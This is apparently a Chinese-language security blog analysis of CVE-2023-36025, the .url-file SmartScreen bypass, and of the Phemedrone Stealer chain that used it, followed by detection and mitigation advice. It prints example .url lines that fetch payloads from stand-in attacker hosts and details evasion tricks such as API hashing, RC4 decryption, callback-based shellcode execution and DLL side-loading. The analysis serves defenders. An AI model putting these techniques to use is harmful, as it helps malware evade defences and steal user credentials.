CVE-2023-36025漏洞剖析:.url文件如何绕过SmartScreen防御机制

📅 2026/7/4 11:40:41
CVE-2023-36025漏洞剖析:.url文件如何绕过SmartScreen防御机制
1. 项目概述当“安全警告”失效时在Windows的世界里Microsoft Defender SmartScreen智能屏幕是用户下载和运行未知程序前的一道重要防线。它就像一个经验丰富的门卫会检查每一个试图进入你电脑的“访客”的“身份证”文件信誉如果发现可疑就会立刻弹出那个熟悉的蓝色警告窗口提醒你“此文件可能对你的电脑有害”。这个机制在过去几年里成功拦截了无数通过邮件附件、恶意网站下载传播的恶意软件。然而安全从来不是一堵静止的墙而是一场永不停歇的攻防博弈。CVE-2023-36025这个漏洞就是攻击者在这道防线上找到的一个精巧的“后门”它能让这个尽职的门卫对某些特定访客“视而不见”从而让恶意程序长驱直入。这个漏洞的核心在于Windows系统对一种古老但仍在广泛使用的文件类型——Internet快捷方式.url文件——的处理逻辑缺陷。攻击者通过精心构造一个.url文件可以诱使系统在后台静默下载并执行恶意负载而完全绕过SmartScreen的安全检查与用户提示。更值得警惕的是这个漏洞的利用方式PoC在漏洞细节公开后不久就在社交媒体和黑客论坛上广泛流传迅速被整合进Phemedrone Stealer等窃密木马的攻击链中从“理论漏洞”变成了“在野武器”。今天我们就来深入拆解这个被用于“防御规避”的CVE-2023-36025看看攻击者是如何一步步利用它以及我们该如何从防御视角理解并应对这类威胁。这不仅是一个漏洞分析更是一次对现代恶意软件攻击链的深度透视。2. 漏洞原理深度剖析.url文件与SmartScreen的信任裂痕要理解CVE-2023-36025我们首先得弄清楚两个关键角色Internet快捷方式.url文件和Windows Defender SmartScreen。2.1 Internet快捷方式.url文件的本质.url文件本质上是一个文本文件里面包含了指向网络资源如一个网页、一个可执行文件的链接信息。它的结构很简单通常以[InternetShortcut]节开头后面跟着URL参数指向目标地址。例如一个指向百度首页的.url文件内容可能是[InternetShortcut] URLhttps://www.baidu.com/当用户双击这个.url文件时Windows会调用默认的浏览器打开这个链接。关键在于.url文件不仅可以指向网页HTTP/HTTPS还可以指向其他协议如指向一个服务器上的可执行文件例如URLhttp://evil.com/setup.exe。在正常情况下当.url文件指向一个可执行文件并试图下载运行时SmartScreen会介入检查。2.2 Windows Defender SmartScreen的工作机制SmartScreen主要基于两项技术进行判断文件信誉服务微软维护着一个庞大的云端数据库里面记录了全球无数文件的哈希值可以理解为文件的“指纹”和其对应的信誉评分。当一个未知的可执行文件如.exe, .dll, .msi等试图运行时SmartScreen会计算其哈希值并发送到云端查询。如果该文件已知是恶意的或信誉度极低就会弹出警告。URL信誉服务对于从网络下载的文件SmartScreen也会检查其来源URL的信誉。如果一个下载链接已知与恶意活动相关同样会触发警告。它的检查触发点通常是在文件创建或首次执行时。对于从网络下载的.exe文件下载完成时就会触发检查。2.3 CVE-2023-36025的漏洞触发点漏洞的根源在于Windows系统在处理某些特定方式创建的.url文件时其内部逻辑未能正确触发SmartScreen对该.url文件最终要下载并执行的目标文件的检查。具体来说攻击者可以制作一个.url文件其内容指向一个远程的**.cpl**控制面板项文件。.cpl文件本质上是特殊的DLL动态链接库通常由control.exe控制面板程序加载执行。漏洞利用的关键步骤是用户双击恶意.url文件。Windows解析该文件发现其指向一个远程的.cpl文件例如URLhttp://attacker-server/malicious.cpl。系统或背后的Shell组件会尝试获取这个远程.cpl文件。漏洞在此发生系统在获取并准备运行这个.cpl文件时没有为这个“通过网络下载的.cpl文件”正确调用SmartScreen检查流程。它可能错误地认为.url文件本身是本地文件或来自“受信任”的路径或者在对.cpl这种特殊文件类型的处理链上存在逻辑遗漏。因此恶意的.cpl文件被下载并得以执行全程没有出现SmartScreen警告弹窗。注意这个漏洞绕过的不是SmartScreen对.url文件本身的检查.url文件是文本文件通常不单独检查而是绕过对.url文件所引用的远程可执行内容.cpl的检查。这是一种“借壳上市”的规避手法。2.4 为何.cpl文件成为理想载体攻击者选择.cpl文件作为负载载体并非偶然这背后是另一层防御规避技巧对应MITRE ATTCK框架中的T1218.002控制面板项白名单程序加载.cpl文件通常由系统合法的control.exe或rundll32.exe加载。从安全软件和监控工具的视角看control.exe启动是一个高可信度的系统行为这为恶意代码的加载提供了天然的“掩护”。执行门槛低.cpl文件作为DLL其入口函数如CPlApplet可以被系统正常调用使得攻击者能够轻易地将恶意代码封装其中。格式混淆对于普通用户甚至一些自动化分析系统.cpl文件不如.exe那样引人注目具有一定的迷惑性。因此CVE-2023-36025与.cpl文件滥用的结合形成了一套“组合拳”利用漏洞绕过初始的下载拦截再利用合法系统进程加载恶意DLL从而悄无声息地突破第一道防线。3. 攻击链全景复现从恶意链接到数据窃取我们结合Phemedrone Stealer的案例将整个利用CVE-2023-36025的攻击链串联起来看看攻击者是如何一步步行事的。这有助于我们建立全局观理解防御规避在真实攻击中的位置和作用。3.1 第一阶段诱饵投递与初始访问攻击者的首要任务是让目标用户打开那个恶意的.url文件。他们采用了多种伪装和分发手法托管平台将恶意.url文件上传到Discord、FileTransfer.io等允许文件分享的云服务平台。这些平台本身信誉较好降低了链接被直接标记为恶意的风险。短链接服务使用类似shorturl.at的URL缩短服务将长长的恶意文件直链隐藏起来生成一个简短且无害的链接。用户无法从短链接本身判断其真实目的地。社会工程学通过钓鱼邮件、论坛贴、即时消息等渠道将短链接包装成“重要文档”、“发票”、“照片”等诱饵诱导用户点击。当用户点击链接下载并双击.url文件时攻击链正式启动。由于CVE-2023-36025漏洞的存在系统在后台静默下载malicious.cpl文件且不触发SmartScreen警告。3.2 第二阶段漏洞利用与载荷投递双击.url文件后系统进程如explorer.exe会解析文件并试图打开其指向的URL。利用漏洞系统从攻击者服务器下载.cpl文件。随后系统会尝试打开此.cpl文件通常的关联程序是control.exe。于是流程如下用户双击 .url - 系统下载 .cpl - control.exe 加载 .cpl (恶意DLL)在这个案例中恶意.cpl文件实际上是一个加载器Loader。它的主要功能不是直接作恶而是为下一阶段更复杂的恶意软件搭建“舞台”。这个加载器被设计得非常精简和隐蔽。3.3 第三阶段进程注入与持久化建立加载器malicious.cpl被执行后它开始执行一系列复杂的操作下载第二阶段脚本加载器会通过PowerShell从GitHub等代码托管平台下载一个经过混淆的PowerShell脚本如案例中的DATA3.txt。选择GitHub是因为其流量通常被认为是正常的开发活动有助于绕过基于信誉的简单网络过滤。脚本反混淆与执行下载的PowerShell脚本经过字符串和数字操作混淆加载器或PowerShell自身会在内存中动态解密并执行它。这个脚本的核心任务是部署最终的窃密木马。部署窃密木马组件脚本会从指定位置下载一个ZIP压缩包其中包含WerFaultSecure.exe一个合法的Windows错误报告程序。这是用于“DLL侧加载”DLL Side-Loading的合法宿主程序。wer.dll恶意的DLL文件其名称与合法系统DLL相同但功能被替换。secure.pdf一个经过加密的最终阶段Shellcode或.NET加载器。DLL侧加载实现隐蔽执行攻击者将wer.dll和WerFaultSecure.exe放在同一目录。当系统或计划任务启动WerFaultSecure.exe时该程序会按照DLL搜索顺序优先加载同目录下的wer.dll而不是系统目录中的合法版本。这样恶意代码就在一个合法系统进程的上下文环境中被加载执行极具隐蔽性。建立计划任务持久化恶意代码会创建Windows计划任务例如名为Licensing2的任务配置为每90分钟执行一次C:\Users\Public\Libraries\Books\WerFaultSecure.exe。这样即使系统重启恶意软件也能定期复活。3.4 第四阶段窃密木马运行与数据外泄最终通过层层加载Phemedrone Stealer的主程序被注入到内存中执行。它是一个功能全面的信息窃取器会并行扫描系统收集以下信息浏览器数据自动填充的密码、Cookie、历史记录、信用卡信息来自Chrome、Edge、Firefox等。加密货币钱包提取Electrum、Exodus、Atomic等钱包的种子短语和密钥文件。即时通讯软件窃取Telegram、Discord、Steam的会话令牌和本地数据。系统信息用户名、主机名、操作系统版本、硬件配置CPU、GPU、内存、安装的杀毒软件、屏幕截图。特定文件从桌面、文档等目录抓取特定扩展名的文件。收集到的所有数据会在内存中被压缩成一个ZIP包然后通过两种方式外泄Telegram Bot API这是主要渠道。恶意软件使用硬编码的Bot Token和Chat ID将ZIP包以“文档”形式直接发送到攻击者控制的Telegram频道或私聊。利用Telegram的加密通信和普及性攻击者可以几乎实时地、隐蔽地接收数据。备用CC服务器如果Telegram发送失败可能会尝试回连到攻击者自建的命令与控制服务器。至此一个利用CVE-2023-36025漏洞实现初始防御规避进而完成植入、持久化、窃密、外泄的完整攻击链就闭环了。整个过程环环相扣充分利用了系统信任机制、合法进程和常见网络服务的盲点。4. 技术细节拆解加载器与窃密器的攻防技巧在这一部分我们深入攻击链中的几个关键技术点理解攻击者为了对抗分析和检测所采用的高级技巧。4.1 加载器的反分析技术案例中的wer.dll加载器采用了多种手段增加逆向工程和静态分析的难度1. 动态API解析API Hashing这是恶意软件中常见的技术用于隐藏其导入的函数。通常PE文件会有一个“导入表”明确列出它需要从kernel32.dll、user32.dll等系统DLL中调用哪些函数。安全软件和分析工具可以轻松查看这些信息。为了规避加载器在代码中不存储函数名如CreateFileW而是存储其哈希值如0A1EFE929。在运行时加载器会手动加载DLL使用LoadLibraryA然后遍历该DLL的导出函数表计算每个函数名的哈希值并与自己存储的哈希值进行比较。匹配成功后获取该函数的地址使用GetProcAddress的等效自实现逻辑然后通过函数指针进行调用。 这样一来静态分析工具看不到明显的导入函数只能看到一堆数字和复杂的解析逻辑大大增加了分析成本。下表展示了部分哈希值与API的对应关系哈希值 (CRC-32)所属DLL对应的API函数998B531Ekernel32.dllGetModuleHandleExW46DED02Dkernel32.dllGetModuleFileNameW0A1EFE929kernel32.dllCreateFileW0B09315F4kernel32.dllCloseHandle2. 字符串加密所有在代码中出现的敏感字符串如文件路径、API名称、计划任务命令都经过了加密。加密算法通常是简单的异或XOR或加减法但密钥生成方式巧妙。例如使用公式(字符索引 % num1 num2)为字符串中的每个字符生成一个动态密钥。这意味着同一个明文字符串在不同位置或不同函数中其加密后的密文可能完全不同无法通过简单的字符串搜索发现恶意意图。3. 使用VMProtect等商业加壳工具wer.dll被VMProtect这类高级混淆工具加壳。加壳工具会将原始的代码指令转换为自定义的、只能在特定虚拟机环境中解释执行的字节码并插入大量垃圾代码和控制流混淆。这导致常规的反汇编工具几乎无法直接看到有意义的汇编代码动态调试也变得异常困难是分析人员面临的一大挑战。4.2 内存解密与执行链加载器在解密并执行最终负载时也采用了非常规手法1. RC4解密与内存操作从secure.pdf文件中读取的加密数据使用advapi32.dll中一个未公开的函数SystemFunction032进行RC4流密码解密。解密后的数据是一段Shellcode或PE文件。加载器使用Activeds.dll中的AllocADsMem和ReallocADsMem函数来分配和调整内存这些函数相比常见的VirtualAlloc可能被监控得较少。最后通过VirtualProtect将存放解密数据的内存区域属性改为PAGE_EXECUTE_READWRITE使其可执行。2. 利用API回调函数执行Shellcode这是非常精巧的一步。通常执行Shellcode是直接跳转到其入口点。但这里加载器利用了Windows API的“回调函数”机制。它调用了Wintrust.dll中的CryptCATCDFOpen函数。这个函数用于打开目录文件其第二个参数是一个回调函数指针用于处理错误。加载器将解密后的Shellcode入口地址作为这个回调函数指针传入。当CryptCATCDFOpen被调用时它会在内部某个时刻“回调”这个地址从而触发Shellcode的执行。这种方式比直接调用CreateThread或跳转更加隐蔽因为它是通过一个合法API的内部流程来转移执行权的行为特征更不明显。3. 使用Donut Shellcode加载器第二阶段的Shellcode实际上是著名的开源工具Donut生成的。Donut可以将.NET程序集.exe, .dll转换成与位置无关的Shellcode。这意味着攻击者可以将Phemedrone Stealer这个用C#编写的.NET程序直接转换成一段Shellcode注入到内存中执行无需将任何恶意文件落地到磁盘。Donut还能在内存中加载.NET运行时CLR并在一个新建的、临时的AppDomain中运行窃密程序集执行完毕后可以清理现场进一步做到“无文件攻击”极大增加了检测难度。4.3 窃密木马的功能与通信分析Phemedrone Stealer本身是一个模块化、多线程的窃密器体现了现代信息窃取木马的典型特征1. 模块化与服务化设计它定义了一个IService接口所有具体的窃取功能如ChromeService、FileZillaService、SystemInfoService都作为该接口的实现。主程序通过反射动态发现并加载所有IService的实现类然后为每个服务创建独立线程并发执行。这种设计使得功能易于扩展和维护攻击者可以像搭积木一样增加新的窃取目标。2. 全面的数据收集其收集范围之广令人咋舌几乎囊括了个人电脑上所有有价值的数字资产。特别是对加密货币钱包和2FA双因子认证应用如Google Authenticator、Microsoft Authenticator数据的窃取直接威胁到用户的金融安全。截图和系统信息收集则有助于攻击者进行后续的针对性攻击。3. 灵活的数据外泄通道主要使用Telegram Bot API进行数据外泄这是一个“创新”且高效的方式高可用性Telegram服务稳定全球可达不易被阻断。端到端加密通信内容加密中间网络设备难以窥探。API友好提供了简单易用的HTTP API便于恶意软件集成。隐匿性Bot通信混杂在海量的正常Telegram流量中难以甄别。 恶意软件在上传数据前会先验证Bot Token的有效性通过调用getMeAPI确保通道畅通。数据使用multipart/form-data格式进行POST上传模拟正常的文件发送行为。5. 防御视角检测、响应与缓解措施面对如此复杂的攻击链我们不能只寄希望于修补一个漏洞。需要构建一个纵深防御体系从多个层面进行布防。5.1 漏洞层面修补与缓解立即更新对于CVE-2023-36025微软已于2023年11月发布补丁。确保所有Windows系统都已安装2023年11月及之后的安全更新这是最根本的解决之道。对于无法立即更新的系统应考虑以下缓解措施。应用控制策略使用Windows Defender应用程序控制WDAC或第三方应用程序白名单解决方案只允许运行经过审批的软件。这样可以阻止未知的.cpl、.url甚至后续的PowerShell、恶意DLL执行。限制.url文件处理在企业环境中可以通过组策略限制或警告对.url文件的处理。例如将.url文件的默认关联程序改为记事本这样双击只会打开查看内容而不会自动执行其指向的链接。启用攻击面减少规则Windows Defender防病毒中的“攻击面减少”规则非常有效。特别是以下两条阻止从电子邮件和Webmail客户端执行的未签名、不可信进程可以阻断通过邮件附件发起的.url文件攻击。阻止Office应用程序创建子进程虽然主要针对Office但某些攻击链可能涉及。阻止所有Office应用程序创建子进程更为严格。阻止JavaScript或VBScript生成下载内容可以阻断后续的PowerShell下载阶段。阻止从Windows本地安全机构子系统窃取凭据保护凭据。阻止进程创建源自PSExec和WMI命令阻断横向移动。5.2 行为检测层面识别攻击链特征安全团队应关注以下可疑行为序列它们构成了此类攻击的“杀伤链”进程链异常explorer.exe-control.exe/rundll32.exe- 下载网络资源.cpl。尤其是control.exe从非标准路径或临时目录加载.cpl文件。计划任务创建短时间内创建了指向用户目录如Public\Libraries\Books或临时目录的可执行文件的计划任务且触发频率异常如每90分钟。DLL侧加载合法的、有数字签名的系统程序如WerFaultSecure.exe、rundll32.exe从非系统目录如用户AppData、Public目录加载DLL。这是高置信度的恶意指标。PowerShell可疑活动PowerShell进程从网络位置如GitHub raw链接下载并执行脚本特别是脚本内容经过混淆大量字符串操作、编码。内存操作特征进程调用VirtualAlloc/VirtualProtect特别是申请可读可写可执行的内存PAGE_EXECUTE_READWRITE紧接着进行内存写入然后创建远程线程或通过回调执行。这是Shellcode注入的典型特征。网络通信特征进程向api.telegram.org发送带有multipart/form-data的POST请求上传ZIP文件。进程在收集数据前访问大量浏览器数据文件、钱包文件、特定软件目录。进程进行getMe等Telegram Bot API调用。部署具备高级行为检测和端点检测与响应EDR能力的解决方案可以有效地关联这些事件并发出警报。5.3 终端防护层面强化配置与监控启用受控文件夹访问这是Windows Defender的一项功能可以保护关键文件夹如文档、桌面、图片免受未经授权的应用程序修改。能有效阻止窃密木马将收集的数据打包后暂存。限制PowerShell在不需要的终端上禁用PowerShell或仅允许执行经过签名的脚本。通过组策略设置PowerShell的日志记录脚本块日志记录、模块日志记录并集中收集和分析这些日志。出站流量过滤与监控在企业网络边界监控并考虑阻止向公共代码托管平台如GitHub、GitLab的raw内容的异常下载请求特别是来自非开发人员主机的请求。同时监控到api.telegram.org的大量数据上传流量。用户教育与意识持续对员工进行安全意识培训强调不要随意点击邮件或即时消息中的不明链接不要下载和打开来源不明的文件尤其是.url、.lnk等快捷方式文件。5.4 事件响应与狩猎建议如果怀疑系统已受影响可按以下步骤进行排查检查计划任务查看是否存在名称可疑如Licensing2或指向用户目录异常路径的任务。检查进程与模块使用Process Explorer等工具查看是否有control.exe、rundll32.exe、powershell.exe进程加载了来自C:\Users\Public\Libraries\Books等非标准路径的DLL。检查文件系统搜索上述可疑目录查看是否存在wer.dll、WerFaultSecure.exe、secure.pdf等文件。检查网络连接查看是否有进程与Telegram API服务器建立连接。检查浏览器扩展与数据检查是否有未知的浏览器扩展并关注浏览器密码管理器、Cookie等是否异常。内存取证对可疑进程进行内存转储使用Volatility等工具分析其中是否存在Donut Shellcode、.NET CLR加载痕迹或窃密木马的字符串。CVE-2023-36025的利用案例清晰地展示了一个趋势现代攻击不再是单点突破而是将漏洞利用、防御规避、持久化、凭证访问、数据渗出等多个战术环节串联起来的精密工程。防御者必须摒弃“打补丁就万事大吉”的思维转而采用基于攻击链的、层层设防的深度防御策略同时加强持续监控和威胁狩猎能力才能在这场不对称的战争中守住阵地。这个漏洞本身或许已被修补但它所揭示的攻击思路和组合技巧仍将在未来不断上演。